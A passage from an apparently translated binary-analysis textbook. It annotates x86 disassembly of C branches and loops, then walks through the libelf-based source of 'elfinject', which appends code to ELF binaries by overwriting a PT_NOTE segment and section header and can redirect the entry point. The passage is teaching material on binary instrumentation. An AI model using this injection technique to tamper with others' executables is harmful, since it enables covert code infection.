printf 完成后,main 通过将 rax 寄存器清零 ➓ 来准备自己的返回值(退出状态)。然后,它执行 leave 指令,这是 x86 的简写指令,等同于 mov rsp,rbp; pop rbp。这是一个标准的函数尾声,它执行与函数开头相反的操作。它通过将 rsp 指向帧基址(即保存的 rbp 所在位置)并恢复前一个帧的 rbp 来清理函数帧。最后,main 执行 ret 指令,从栈顶弹出保存的返回地址并跳转到该地址,结束 main 函数并将控制权交回给调用 main 的函数。

A.4.3 条件分支

接下来,让我们看一下另一个重要的构造:条件分支。清单 A-5 展示了一个包含 if/else 分支的 C 程序,如果 argc 大于 5,则打印消息 argc > 5,否则打印消息 argc <= 5。清单 A-6 展示了由 gcc 5.4.0 使用默认选项编译生成的对应汇编级别实现,经过 objdump 从二进制文件恢复。

清单 A-5:C 语言中的条件分支

#include <stdio.h>

int
main(int argc, char *argv[])
{
  if(argc > 5) {
    printf("argc > 5\n");
  } else {
    printf("argc <= 5\n");
  }

  return 0;
}

清单 A-6:汇编中的条件分支

  Contents of section .rodata:
   4005e0 01000200 ➊61726763 ....argc
   4005e8 203e2035 00➋617267  > 5.arg
   4005f0 63203c3d 203500    c <= 5.

  Contents of section .text:
  0000000000400526 <main>:
    400526:  push   rbp
    400527:  mov    rbp,rsp
    40052a:  sub    rsp,0x10
    40052e:  mov    DWORD PTR [rbp-0x4],edi
    400531:  mov    QWORD PTR [rbp-0x10],rsi
➌  400535:  cmp     DWORD PTR [rbp-0x4],0x5
➍  400539:  jle     400547 <main+0x21>
    40053b:  mov    edi,0x4005e4
    400540:  call   400400 <puts@plt>
➎  400545:  jmp     400551 <main+0x2b>
    400547:  mov    edi,0x4005ed
    40054c:  call   400400 <puts@plt>
    400551:  mov    eax,0x0
    400556:  leave
    400557:  ret

就像你在 A.4.2 节 中看到的,编译器将 printf 的格式字符串存储在 .rodata 部分 ➊➋,与代码分开存放,代码则在 .text 部分。main 函数从函数前言开始,并将 argcargv 复制到局部变量中。

条件分支的实现从地址 ➌ 处的cmp指令开始,它将包含argc的局部变量与立即数0x5进行比较。接下来是一个jle指令,如果argc小于或等于0x5,则跳转到地址0x400547 ➍(else分支)。在该地址,会调用puts来打印字符串argc <= 5,然后是main的尾部和ret指令。

如果argc大于0x5,则不会执行jle,而是继续执行地址0x40053b处的下一条指令序列(if分支)。它调用puts来打印字符串argc > 5,然后跳转到main的尾部,在地址0x400551 ➎。请注意,这最后的jmp指令是必要的,用于跳过位于地址0x400547处的else分支代码。

A.4.4 循环

在汇编层面,你可以将循环看作条件分支的特例。就像常规的分支一样,循环是通过cmp/test指令和条件跳转指令实现的。列表 A-7 展示了一个在 C 语言中使用的while循环,它遍历所有给定的命令行参数,并以相反的顺序打印它们。列表 A-8 展示了一个相应的汇编程序。

列表 A-7:C 语言中的 while 循环

#include <stdio.h>

int                    
main(int argc, char *argv[])
{                          
  while(argc > 0) {
    printf("%s\n",    
           argv[(unsigned)--argc]);
  }                                

  return 0;                  
}                              

列表 A-8:汇编语言中的 while 循环

   0000000000400526 <main>:
     400526:  push   rbp
     400527:  mov    rbp,rsp
     40052a:  sub    rsp,0x10
     40052e:  mov    DWORD PTR [rbp-0x4],edi
     400531:  mov    QWORD PTR [rbp-0x10],rsi
➊   400535:  jmp    40055a <main+0x34>
     400537:  sub    DWORD PTR [rbp-0x4],0x1
     40053b:  mov    eax,DWORD PTR [rbp-0x4]
     40053e:  mov    eax,eax
     400540:  lea    rdx,[rax*8+0x0]
     400548:  mov    rax,QWORD PTR [rbp-0x10]
     40054c:  add    rax,rdx
     40054f:  mov    rax,QWORD PTR [rax]
     400552:  mov    rdi,rax
     400555:  call   400400 <puts@plt>
➋   40055a:  cmp    DWORD PTR [rbp-0x4],0x0
➌   40055e:  jg     400537 <main+0x11>
     400560:  mov    eax,0x0
     400565:  leave
     400566:  ret

在这种情况下,编译器选择将检查循环条件的代码放在循环的末尾。因此,循环通过跳转到地址0x40055a开始,在那里检查循环条件 ➊。

这个检查是通过cmp指令实现的,它将argc与零进行比较 ➋。如果argc大于零,代码会跳转到地址0x400537,循环体从那里开始 ➌。循环体会递减argc,打印argv中的下一个字符串,然后再次进入循环条件检查。

循环继续,直到argc为零,此时循环条件检查中的jg指令会跳转到main的尾部,在那里main清理其栈帧并返回。

附录:B

使用libelf实现PT_NOTE覆盖

在第七章中,你学会了如何通过覆盖PT_NOTE段以高层次方式注入代码段。在这里,你将看到虚拟机中的elfinject工具如何实现这一技术。在描述elfinject源代码的过程中,你还将了解libelf,这是一个流行的开源库,用于操作 ELF 二进制文件的内容。

我将重点介绍实现图 7-2(第 170 页)中的步骤的代码部分,这些步骤使用了libelf,并省略一些直观且不涉及libelf的代码部分。如需了解更多,可以在虚拟机上的代码目录中找到elfinject的其余源代码,位于第七章。

在阅读本附录之前,请务必阅读第 7.3.2 节,因为了解elfinject期望的输入和输出将使代码更易于理解。

在本讨论中,我只会使用elfinject所使用的libelfAPI 部分,以帮助你理解libelf的基本要点。欲了解更多细节,请参考优秀的libelf文档,或参考 Joseph Koshy 的《libelf实例》一书。^(1)

B.1 必需的头文件

为了解析 ELF 文件,elfinject使用了流行的开源库libelf,该库已经预装在虚拟机中,并且大多数 Linux 发行版都有这个包。要使用libelf,你需要包含一些头文件,如清单 B-1 所示。你还需要通过向链接器提供-lelf选项来链接libelf

清单 B-1: elfinject.c: libelf 头文件

➊ #include <libelf.h>
➋ #include <gelf.h>

为了简洁起见,清单 B-1 未显示elfinject使用的所有标准 C/C++头文件,而仅显示了两个与libelf相关的头文件。主要的头文件是libelf.h ➊,它提供了对libelf所有数据结构和 API 函数的访问。另一个是gelf.h ➋,它提供了对GElf的访问,GElf是一个辅助 API,简化了对libelf某些功能的访问。GElf使你能够透明地访问 ELF 文件,而无需关心文件的 ELF 类和位宽(32 位与 64 位)。这种方式的好处将在你看到更多elfinject代码时变得更为明显。

B.2 elfinject中使用的数据结构

清单 B-2 展示了两个在elfinject中核心使用的数据结构。其余代码使用这些数据结构来操作 ELF 文件及注入的代码。

清单 B-2: elfinject.c: elfinject 数据结构

➊ typedef struct {
     int fd;          /* file descriptor */
     Elf *e;          /* main elf descriptor */
     int bits;        /* 32-bit or 64-bit */
     GElf_Ehdr ehdr;  /* executable header */
   } elf_data_t;

➋ typedef struct {
     size_t pidx;     /* index of program header to overwrite */
     GElf_Phdr phdr;  /* program header to overwrite */
     size_t sidx;     /* index of section header to overwrite */
     Elf_Scn *scn;    /* section to overwrite */
     GElf_Shdr shdr;  /* section header to overwrite */
     off_t shstroff;  /* offset to section name to overwrite */
     char *code;      /* code to inject */
     size_t len;      /* number of code bytes */
     long entry;      /* code buffer offset to entry point (-1 for none) */
     off_t off;       /* file offset to injected code */
     size_t secaddr;  /* section address for injected code */
     char *secname;   /* section name for injected code */
   } inject_data_t;

第一个数据结构elf_data_t➊跟踪在注入新代码段的 ELF 二进制文件中需要操作的数据。它包含一个指向 ELF 文件的文件描述符(fd)、一个指向文件的libelf句柄、一个表示二进制文件位宽的整数(bits),以及指向二进制文件可执行头的GElf句柄。我将省略打开fd的标准 C 代码,因此从这一点开始,假设fd已经被打开用于读写。我稍后会展示打开libelfGElf句柄的代码。

inject_data_t结构体➋跟踪有关要注入的代码以及如何在二进制文件中注入这些代码的信息。首先,它包含有关需要修改二进制文件哪些部分来注入新代码的数据。这些数据包括要覆盖的PT_NOTE程序头的索引(pidx)和GElf句柄(phdr)。它还包括要覆盖的段的索引(sidx)以及libelfGElf句柄(分别是scnshdr),以及指向该段名称在字符串表中的文件偏移量(shstroff),以便将其更改为一个新名称,比如.injected

然后是实际注入的代码,以缓冲区(code)和描述该缓冲区长度的整数(len)的形式给出。这段代码由elfinject用户提供,因此从这一点开始,假设codelen已经被设置。entry字段是code缓冲区内的一个偏移量,指向应该成为二进制文件新入口点的代码位置。如果没有新的入口点,那么entry被设置为-1来表示这一点。

off字段是二进制文件中应注入新代码的文件偏移量。这个偏移量将指向二进制文件的末尾,因为elfinject会将新代码放置在此位置,如图 7-2 所示。最后,secaddr是新代码段的加载地址,secname是被注入段的名称。你可以认为从entrysecname的所有字段都已经被设置,因为这些都是用户指定的,除了off,它是elfinject在加载二进制文件时计算的。

B.3 初始化 libelf

此时,我们跳过elfinject的初始化代码,假设所有初始化都已成功:用户参数已经解析,主机二进制文件的文件描述符已打开,注入文件已加载到struct inject_data_t中的代码缓冲区。所有这些初始化工作都在elfinjectmain函数中进行。

之后,main将控制权传递给一个名为inject_code的函数,这是实际代码注入的起点。让我们来看一下清单 B-3,其中展示了inject_code的一部分,负责在libelf中打开给定的 ELF 二进制文件。请记住,函数名称以elf_开头的是libelf函数,而以gelf_开头的是GElf函数。

清单 B-3: elfinject.c: inject_code 函数

   int
   inject_code(int fd, inject_data_t *inject)
   {
➊  elf_data_t elf;
    int ret;
    size_t n;

    elf.fd = fd;
    elf.e = NULL;

➋   if(elf_version(EV_CURRENT) == EV_NONE) {
      fprintf(stderr, "Failed to initialize libelf\n");
      goto fail;
    }

     /* Use libelf to read the file, but do writes manually */
➌   elf.e = elf_begin(elf.fd, ELF_C_READ, NULL);
     if(!elf.e) {
       fprintf(stderr, "Failed to open ELF file\n");
       goto fail;
     }

➍   if(elf_kind(elf.e) != ELF_K_ELF) {
        fprintf(stderr, "Not an ELF executable\n");
        goto fail;
     }

➎   ret = gelf_getclass(elf.e);
     switch(ret) {
     case ELFCLASSNONE:
       fprintf(stderr, "Unknown ELF class\n");
       goto fail;
     case ELFCLASS32:
       elf.bits = 32;
       break;
     default:
       elf.bits = 64;
       break;
     }

   ...

inject_code 函数中的一个重要局部变量,elf ➊ 是先前定义的 elf_data_t 结构类型的一个实例,用于存储加载的 ELF 二进制文件的所有重要信息,并将其传递给其他函数。

在使用任何其他 libelf API 函数之前,必须调用 elf_version ➋,该函数接受一个 ELF 规范的版本号作为唯一参数。如果版本不受支持,libelf 会通过返回常量 EV_NONE 来报告问题,在这种情况下,inject_code 会放弃并报告初始化 libelf 时出错。如果 libelf 没有报告问题,说明请求的 ELF 版本是受支持的,接下来可以安全地进行其他 libelf 调用,以加载和解析二进制文件。

目前,所有标准 ELF 二进制文件都是根据规范的主版本 1 格式进行格式化的,因此这是你可以传递给 elf_version 的唯一合法值。按照约定,除了直接传递字面量的“1”给 elf_version,你还可以传递常量值 EV_CURRENTEV_NONEEV_CURRENT 都在 elf.h 中进行了定义,而不是在 libelf.h 中。若 ELF 格式有重大修订,EV_CURRENT 将在使用新 ELF 版本的系统上递增为下一个版本。

elf_version 成功返回后,可以开始加载并解析二进制文件,以便将新代码注入其中。第一步是调用 elf_begin ➌,该函数打开 ELF 文件并返回一个类型为 Elf* 的句柄。你可以将该句柄传递给其他 libelf 函数,执行对 ELF 文件的操作。

elf_begin 函数接受三个参数:用于打开 ELF 文件的文件描述符,一个常量,表示是否以读或写模式打开文件,以及指向 Elf 句柄的指针。在这种情况下,文件描述符为 fd,而 inject_code 传递常量 ELF_C_READ,表示它仅仅对使用 libelf 读取 ELF 二进制文件感兴趣。对于最后一个参数(Elf 句柄),inject_code 传递 NULL,以便 libelf 自动分配并返回一个句柄。

你也可以传递 ELF_C_WRITEELF_C_RDWR,以表示希望使用 libelf 向 ELF 二进制文件写入修改,或者进行读写操作的组合。为了简化,elfinject 仅使用 libelf 来解析 ELF 文件。为了将任何修改写回,它绕过 libelf,直接使用文件描述符 fd

在使用 libelf 打开 ELF 文件后,通常会将打开的 Elf 句柄传递给 elf_kind,以确定所处理的 ELF 类型 ➍。在这种情况下,inject_codeelf_kind 的返回值与常量 ELF_K_ELF 进行比较,验证 ELF 文件是否为可执行文件。其他可能的返回值为 ELF_K_AR(表示 ELF 存档文件)或 ELF_K_NULL(表示发生错误)。在这两种情况下,inject_code 无法执行代码注入,因此会返回错误。

接下来,inject_code 使用一个名为 gelf_getclassGElf 函数来获取 ELF 二进制文件的“类” ➎。这表示 ELF 文件是 32 位(ELFCLASS32)还是 64 位(ELFCLASS64)。如果发生错误,gelf_getclass 会返回 ELFCLASSNONEELFCLASS* 常量在 elf.h 中定义。目前,inject_code 只将二进制文件的位宽(32 位或 64 位)存储在 elf 结构的 bits 字段中。了解位宽在解析 ELF 二进制文件时是必要的。

以上就是初始化 libelf 并获取二进制文件基本信息的过程。接下来我们来看 inject_code 函数的其他部分,参见清单 B-4。

清单 B-4: elfinject.c: inject_code 函数(续)

   ...

➊  if(!gelf_getehdr(elf.e, &elf.ehdr)) {
      fprintf(stderr, "Failed to get executable header\n");
      goto fail;
   }

   /* Find a rewritable program header */
➋  if(find_rewritable_segment(&elf, inject) < 0) {
     goto fail;
   }

   /* Write the injected code to the binary */
➌  if(write_code(&elf, inject) < 0) {
     goto fail;
   }

   /* Align code address so it's congruent to the file offset modulo 4096 */
➍  n = (inject->off % 4096) - (inject->secaddr % 4096);
   inject->secaddr += n;

   /* Rewrite a section for the injected code */
➎  if((rewrite_code_section(&elf, inject) < 0)
        || ➏(rewrite_section_name(&elf, inject) < 0)) {
       goto fail;
   }

   /* Rewrite a segment for the added code section */
➐  if(rewrite_code_segment(&elf, inject) < 0) {
       goto fail;
   }

   /* Rewrite entry point if requested */
➑  if((inject->entry >= 0) && (rewrite_entry_point(&elf, inject) < 0)) {
     goto fail;
   }

   ret = 0;
   goto cleanup;
 fail:
     ret = -1;

   cleanup:
     if(elf.e) {
➒      elf_end(elf.e);
     }

     return ret;
   }

如你所见,inject_code 函数的其余部分包括几个主要步骤,这些步骤对应于图 7-2 中列出的步骤,以及一些图中未显示的额外低级步骤:

• 获取二进制可执行文件的头部 ➊,后续需要用来调整入口点。

• 查找 PT_NOTE 段 ➋ 进行覆盖,如果没有合适的段则失败。

• 将注入的代码写入二进制文件的末尾 ➌。

• 调整注入部分的加载地址,以满足对齐要求 ➍。

• 用新注入部分的头部覆盖 .note.ABI-tag 节头 ➎。

• 更新被覆盖的部分头部的节名称 ➏。

• 覆盖 PT_NOTE 程序头 ➐。

• 如果用户要求,调整二进制文件的入口点 ➑。

• 通过调用 elf_end 清理 Elf 句柄 ➒。

接下来我将更详细地讲解这些步骤。

B.4 获取可执行文件头

在清单 B-4 的步骤 ➊ 中,elfinject 获取了二进制可执行文件的头部。回想一下第二章,可执行文件头包含了这些表格的文件偏移量和大小。可执行文件头还包含了二进制文件的入口点地址,elfinject 会根据用户的需求修改这个入口点地址。

要获取 ELF 可执行文件头,elfinject 使用 gelf_getehdr 函数。这是一个 GElf 函数,它返回一个与 ELF 类无关的可执行文件头表示。32 位和 64 位二进制文件的可执行文件头格式略有不同,但 GElf 隐藏了这些差异,因此你无需担心这些问题。也可以仅使用纯 libelf 获取可执行文件头,而不使用 GElf。但是,在这种情况下,你必须根据 ELF 类手动调用 elf32_getehdrelf64_getehdr

gelf_getehdr 函数接受两个参数:Elf 句柄和一个指向 GElf_Ehdr 结构的指针,GElf 可以在其中存储可执行文件头。如果一切正常,gelf_getehdr 返回非零值。如果发生错误,它返回 0 并设置 elf_errno,这是一个错误代码,你可以通过调用 libelfelf_errno 函数来读取该错误代码。此行为是所有 GElf 函数的标准行为。

要将 elf_errno 转换为人类可读的错误消息,你可以使用 elf_errmsg 函数,但 elfinject 并没有这么做。elf_errmsg 函数接受 elf_errno 的返回值作为输入,并返回一个指向适当错误字符串的 const char*

B.5 查找 PT_NOTE 段

在获取可执行文件头后,elfinject 会遍历二进制文件中的所有程序头,检查是否存在一个可以安全覆盖的 PT_NOTE 段(清单 B-4 中的步骤 ➋)。所有这些功能都在一个名为 find_rewritable_segment 的单独函数中实现,见清单 B-5。

清单 B-5: elfinject.c: 查找 PT_NOTE 程序头

   int
   find_rewritable_segment(elf_data_t *elf, inject_data_t *inject)
   {
     int ret;
     size_t i, n;

➊  ret = elf_getphdrnum(elf->e, &n);
    if(ret != 0) {
       fprintf(stderr, "Cannot find any program headers\n");
       return -1;
   }

➋  for(i = 0; i < n; i++) {
➌    if(!gelf_getphdr(elf->e, i, &inject->phdr)) {
        fprintf(stderr, "Failed to get program header\n");
        return -1;
    }

➍  switch(inject->phdr.p_type) {
    case ➎PT_NOTE:
      ➏inject->pidx = i;
      return 0;
    default:
      break;
    }
   }
➐ fprintf(stderr, "Cannot find segment to rewrite\n");
   return -1;
  }

如清单 B-5 所示,find_rewritable_segment 接受两个参数:一个名为 elfelf_data_t* 和一个名为 injectinject_data_t*。回忆一下,这些是自定义数据类型,在清单 B-2 中定义,包含有关 ELF 二进制文件和注入的所有相关信息。

为了找到 PT_NOTE 段,elfinject 首先查找二进制文件中包含的程序头数量 ➊。通过使用一个名为 elf_getphdrnumlibelf 函数来实现,它接受两个参数:Elf 句柄和一个指向 size_t 类型整数的指针,用于存储程序头的数量。如果返回值非零,则表示发生了错误,elfinject 会放弃,因为它无法访问程序头表。如果没有错误,elf_getphdrnum 会将程序头的数量存储在清单 B-5 中的 size_t 类型变量 n 中。

现在elfinject知道程序头的数量n,它遍历每个程序头以查找类型为PT_NOTE的头部➋。为了访问每个程序头,elfinject使用gelf_getphdr函数➌,该函数允许以与 ELF 类无关的方式访问程序头。它的参数是Elf句柄、要获取的程序头的索引号i以及一个指向GElf_Phdr结构体的指针(在本例中为inject->phdr),用于存储程序头。像GElf函数一样,非零返回值表示成功,而返回值 0 表示失败。

在此步骤完成后,inject->phdr包含第i个程序头。剩下的就是检查程序头的p_type字段➍,并检查其类型是否为PT_NOTE➎。如果是,elfinject将程序头索引存储在inject->pidx字段中➏,并且find_rewritable_segment函数成功返回。

如果在遍历所有程序头后,elfinject未能找到类型为PT_NOTE的头部,它会报告错误➐并退出,而不修改二进制文件。

B.6 注入代码字节

在定位到可覆盖的PT_NOTE段后,就可以将注入的代码追加到二进制文件中(列表 B-4 中的步骤➌)。让我们来看一下执行实际注入操作的函数,它叫做write_code,如列表 B-6 所示。

列表 B-6: elfinject.c: 将注入的代码追加到二进制文件中

   int
   write_code(elf_data_t *elf, inject_data_t *inject)
   {
     off_t off;
     size_t n;
➊   off = lseek(elf->fd, 0, SEEK_END);
     if(off < 0) {
       fprintf(stderr, "lseek failed\n");
       return -1;
   }

➋  n = write(elf->fd, inject->code, inject->len);
    if(n != inject->len) {
      fprintf(stderr, "Failed to inject code bytes\n");
      return -1;
   }
➌  inject->off = off;

    return 0;
  }

就像你在前一节中看到的find_rewritable_segment函数一样,write_code函数将elf_data_t*类型的elfinject_data_t*类型的inject作为参数。write_code函数不涉及libelf,它仅在打开的 ELF 二进制文件的文件描述符elf->fd上使用标准的 C 文件操作。

首先,write_code将光标定位到二进制文件的末尾➊。然后,它在那里追加注入的代码字节➋,并将代码字节写入的字节偏移量保存到inject->off字段中➌。

现在代码注入已经完成,剩下的就是更新一个段头和程序头(可选地更新二进制的入口点),以描述新注入的代码段,并确保在二进制执行时加载它。

B.7 对注入段的加载地址进行对齐

随着注入的代码字节被追加到二进制文件的末尾,现在几乎可以覆盖一个段头以指向这些注入的字节。ELF 规范对可加载段的地址以及它们包含的段提出了一些要求。具体来说,ELF 标准要求对于每个可加载段,p_vaddrp_offset在页大小(4,096 字节)上的模运算结果必须相等。以下公式总结了这一要求:

(pvaddr mod 4096) = (poffset mod 4096)

类似地,ELF 标准要求 p_vaddrp_offsetp_align 模数下是同余的。因此,在覆盖节头之前,elfinject 会调整用户指定的注入部分内存地址,使其满足这些要求。清单 B-7 显示了对齐地址的代码,这与清单 B-4 中步骤 ➍ 所示的代码相同。

清单 B-7: elfinject.c: 对注入部分的加载地址进行对齐

    /* Align code address so it's congruent to the file offset modulo 4096 */
➊  n = (inject->off % 4096) - (inject->secaddr % 4096);
➋  inject->secaddr += n;

清单 B-7 中的对齐代码包括两个步骤。首先,它计算注入代码的文件偏移量模 4096 与节地址模 4096 之间的差值 n ➊。ELF 规范要求偏移量和地址在模 4096 下是同余的,此时 n 将为零。为了确保正确的对齐,elfinjectn 加到节地址中,以便文件偏移量与节地址之间的差值在模 4096 下变为零(如果还没有的话)➋。

B.8 覆盖 .note.ABI-tag 节头

现在已经知道了注入部分的地址,elfinject 继续覆盖节头。回想一下,它覆盖了 .note.ABI-tag 节头,该节头是 PT_NOTE 段的一部分。清单 B-8 显示了处理覆盖的函数,名为 rewrite_code_section。它在清单 B-4 的步骤 ➎ 中被调用。

清单 B-8: elfinject.c: 覆盖 * .note.ABI-tag * 节头

  int
  rewrite_code_section(elf_data_t *elf, inject_data_t *inject)
  {
    Elf_Scn *scn;
    GElf_Shdr shdr;
    char *s;
    size_t shstrndx;

➊   if(elf_getshdrstrndx(elf->e, &shstrndx) < 0) {
      fprintf(stderr, "Failed to get string table section index\n");
      return -1;
    }

    scn = NULL;
➋   while((scn = elf_nextscn(elf->e, scn))) {
➌     if(!gelf_getshdr(scn, &shdr)) {
        fprintf(stderr, "Failed to get section header\n");
        return -1;
       }
➍     s = elf_strptr(elf->e, shstrndx, shdr.sh_name);
      if(!s) {
        fprintf(stderr, "Failed to get section name\n");
        return -1;
      }
 ➎     if(!strcmp(s, ".note.ABI-tag")) {
➏       shdr.sh_name      = shdr.sh_name;              /* offset into string table */
        shdr.sh_type      = SHT_PROGBITS;               /* type */
        shdr.sh_flags     = SHF_ALLOC | SHF_EXECINSTR;  /* flags */
        shdr.sh_addr      = inject->secaddr;            /* address to load section at */
        shdr.sh_offset    = inject->off;                /* file offset to start of section */
        shdr.sh_size      = inject->len;                /* size in bytes */
        shdr.sh_link      = 0;                          /* not used for code section */
        shdr.sh_info      = 0;                          /* not used for code section */
        shdr.sh_addralign = 16;                         /* memory alignment */
        shdr.sh_entsize   = 0                           /* not used for code section */

➐       inject->sidx = elf_ndxscn(scn);
        inject->scn = scn;
        memcpy(&inject->shdr, &shdr, sizeof(shdr));

➑       if(write_shdr(elf, scn, &shdr, elf_ndxscn(scn)) < 0) {
             return -1;
        }

➒       if(reorder_shdrs(elf, inject) < 0) {
             return -1;
        }

        break;
      }
    }
➓   if(!scn) {
      fprintf(stderr, "Cannot find section to rewrite\n");
      return -1;
     }

     return 0;
   }

为了找到需要覆盖的 .note.ABI-tag 节头,rewrite_code_section 会循环遍历所有节头并检查节名称。回想一下,在第二章中提到过,节名称存储在一个名为 .shstrtab 的特殊节中。为了读取节名称,rewrite_code_section 首先需要获取描述 .shstrtab 节的节头的索引号。要获取这个索引,可以读取可执行文件头的 e_shstrndx 字段,或者可以使用 libelf 提供的 elf_getshdrstrndx 函数。清单 B-8 使用了后一种选项 ➊。

elf_getshdrstrndx 函数接受两个参数:一个 Elf 句柄和一个指向 size_t 类型整数的指针,用于存储节索引。该函数在成功时返回 0,失败时设置 elf_errno 并返回 -1。

获取.shstrtab的索引后,rewrite_code_section会循环遍历所有节头,逐一检查。在循环遍历节头时,它使用elf_nextscn函数 ➋,该函数接受Elf句柄(elf->e)和Elf_Scn*scn)作为输入。Elf_Scn是由libelf定义的结构,描述了一个 ELF 节。最初,scnNULL,这导致elf_nextscn返回指向节头表中索引 1 的第一个节头的指针。^(2) 这个指针成为scn的新值,并在循环体中处理。在下一次循环迭代中,elf_nextscn接受现有的scn并返回指向索引 2 的节的指针,依此类推。通过这种方式,你可以使用elf_nextscn遍历所有节,直到它返回NULL,表示没有下一个节。

循环体处理由elf_nextscn返回的每个节scn。对每个节执行的第一件事是使用gelf_getshdr函数 ➌获取该节的与 ELF 类无关的表示。它的工作方式与第 B.5 节中学习的gelf_getphdr类似,只是gelf_getshdr接受Elf_Scn*GElf_Shdr*作为输入。如果一切顺利,gelf_getshdr将用给定Elf_Scn的节头填充给定的GElf_Shdr并返回指向该头的指针。如果出现问题,它将返回NULL

使用存储在elf->e中的Elf句柄、.shstrtab节的索引shstrndx以及当前节名称在字符串表中的索引shdr.sh_nameelfinject现在获取指向描述当前节名称的字符串的指针。为此,它将所有必需的信息传递给elf_strptr函数 ➍,该函数返回指针,如果发生错误,则返回NULL

接下来,elfinject将刚获得的节名称与字符串".note.ABI-tag" ➎进行比较。如果匹配,则表示当前节是.note.ABI-tag节,elfinject会按照接下来的描述覆盖该节,然后跳出循环并从rewrite_code_section成功返回。如果节名称不匹配,循环将进入下一次迭代,检查下一个节是否匹配。

如果当前节的名称是.note.ABI-tagrewrite_code_section将覆盖节头中的字段,将其转变为描述注入节的头 ➏。正如在图 7-2 中的高级概述所提到的,这涉及将节类型设置为SHT_PROGBITS;将节标记为可执行;并填写适当的节地址、文件偏移、大小和对齐方式。

接下来,rewrite_code_section将覆盖的节头的索引、指向Elf_Scn结构的指针以及GElf_Shdr的副本保存在inject结构中 ➐。为了获取节的索引,它使用elf_ndxscn函数,该函数以Elf_Scn*为输入,并返回该节的索引。

一旦头部修改完成,rewrite_code_section使用另一个名为write_shdr ➑的elfinject函数将修改后的节头写回 ELF 二进制文件,然后按节地址重新排序节头 ➒。接下来我将讨论write_shdr函数,跳过对reorder_shdrs函数的描述,后者负责排序节,因为它对于理解PT_NOTE覆盖技术并不是核心内容。

如前所述,如果elfinject成功找到并覆盖了.note.ABI-tag节头,它会从遍历所有节头的主循环中跳出,并成功返回。另一方面,如果循环完成而没有找到可以覆盖的节头,则注入过程无法继续,rewrite_code_section会以错误 ➓ 返回。

列表 B-9 展示了write_shdr的代码,这是负责将修改后的节头写回 ELF 文件的函数。

列表 B-9: elfinject.c:将修改后的节头写回二进制文件

  int
  write_shdr(elf_data_t *elf, Elf_Scn *scn, GElf_Shdr *shdr, size_t sidx)
  {
    off_t off;
    size_t n, shdr_size;
    void *shdr_buf;

➊   if(!gelf_update_shdr(scn, shdr)) {
      fprintf(stderr, "Failed to update section header\n");
      return -1;
    }

➋   if(elf->bits == 32) {
➌     shdr_buf = elf32_getshdr(scn);
       shdr_size = sizeof(Elf32_Shdr);
    } else {
➍     shdr_buf = elf64_getshdr(scn);
      shdr_size = sizeof(Elf64_Shdr);
    }

    if(!shdr_buf) {
      fprintf(stderr, "Failed to get section header\n");
      return -1;
    }

➎   off = lseek(elf->fd, elf->ehdr.e_shoff + sidx*elf->ehdr.e_shentsize, SEEK_SET);
    if(off < 0) {
      fprintf(stderr, "lseek failed\n");
      return -1;
    }

➏   n = write(elf->fd, shdr_buf, shdr_size);
    if(n != shdr_size) {
      fprintf(stderr, "Failed to write section header\n");
      return -1;
    }

    return 0;
  }

write_shdr函数接受三个参数:存储读取和写入 ELF 二进制所需所有重要信息的elf_data_t结构,名为elf;一个Elf_Scn*scn)和一个GElf_Shdr*shdr),它们对应于需要覆盖的节;以及该节在节头表中的索引(sidx)。

首先,write_shdr调用gelf_update_shdr ➊。回顾一下,shdr包含所有头字段中的新覆盖值。由于shdr是一个与 ELF 类无关的GElf_Shdr结构,它是GElf API 的一部分,写入它并不会自动更新底层的 ELF 数据结构(Elf32_ShdrElf64_Shdr,具体取决于 ELF 类)。然而,正是这些底层数据结构是elfinject写入 ELF 二进制文件的目标,因此必须确保它们被更新。gelf_update_shdr函数接受一个Elf_Scn*和一个GElf_Shdr*作为输入,并将对GElf_Shdr所做的任何更改写回到底层的数据结构,这些数据结构是Elf_Scn结构的一部分。elfinject写入底层数据结构而不是GElf数据结构的原因在于,GElf数据结构内部使用的内存布局与文件中数据结构的布局不匹配,因此写入GElf数据结构会破坏 ELF 文件。

现在,GElf 已将所有待处理的更新写回到底层的本机 ELF 数据结构中,write_shdr 获取更新后的节头的本机表示,并将其写入 ELF 文件,覆盖旧的 .note.ABI-tag 节头。首先,write_shdr 检查二进制文件的位宽 ➋。如果是 32 位,那么 write_shdr 调用 libelfelf32_getshdr 函数(并传递 scn)来获取指向修改后的头部的 Elf32_Shdr 表示的指针 ➌。对于 64 位二进制文件,则使用 elf64_getshdr ➍,而不是 elf32_getshdr

接下来,write_shdr 将 ELF 文件描述符(elf->fd)定位到 ELF 文件中要写入更新后头部的偏移量 ➎。请记住,执行文件头中的 e_shoff 字段包含节头表开始的文件偏移量,sidx 是要覆盖的头部的索引,e_shentsize 字段包含节头表中每个条目的字节大小。因此,以下公式计算出写入更新后的节头的文件偏移量:

eshoff + sidx × eshentsize

在定位到此文件偏移量后,write_shdr 将更新后的节头写入 ELF 文件 ➏,用描述注入节的新节头覆盖旧的 .note.ABI-tag 节头。此时,新的代码字节已经被注入到 ELF 二进制文件的末尾,并且有一个新的代码节包含这些字节,但该节在字符串表中还没有一个有意义的名称。下一节将解释 elfinject 如何更新节名称。

B.9 设置注入节的名称

列表 B-10 显示了将被覆盖的节 .note.ABI-tag 的名称更改为更有意义的名称,例如 .injected 的函数。这是 列表 B-4 中的步骤 ➏。

列表 B-10: elfinject.c: 设置注入节的名称

  int
  rewrite_section_name(elf_data_t *elf, inject_data_t *inject)
  {
    Elf_Scn *scn;
    GElf_Shdr shdr;
    char *s;
    size_t shstrndx, stroff, strbase;

➊   if(strlen(inject->secname) > strlen(".note.ABI-tag")) {
       fprintf(stderr, "Section name too long\n");
       return -1;
    }

➋   if(elf_getshdrstrndx(elf->e, &shstrndx) < 0) {
       fprintf(stderr, "Failed to get string table section index\n");
       return -1;
    }

    stroff = 0;
    strbase = 0;
    scn = NULL;
➌   while((scn = elf_nextscn(elf->e, scn))) {
➍     if(!gelf_getshdr(scn, &shdr)) {
         fprintf(stderr, "Failed to get section header\n");
         return -1;
      }
➎     s = elf_strptr(elf->e, shstrndx, shdr.sh_name);
       if(!s) {
         fprintf(stderr, "Failed to get section name\n");
         return -1;
      }

➏     if(!strcmp(s, ".note.ABI-tag")) {
         stroff = shdr.sh_name;    /* offset into shstrtab */
➐      } else if(!strcmp(s, ".shstrtab")) {
         strbase = shdr.sh_offset; /* offset to start of shstrtab */
       }
    }
 ➑   if(stroff == 0) {
      fprintf(stderr, "Cannot find shstrtab entry for injected section\n");
      return -1;
    } else if(strbase == 0) {
      fprintf(stderr, "Cannot find shstrtab\n");
      return -1;
    }

➒   inject->shstroff = strbase + stroff;

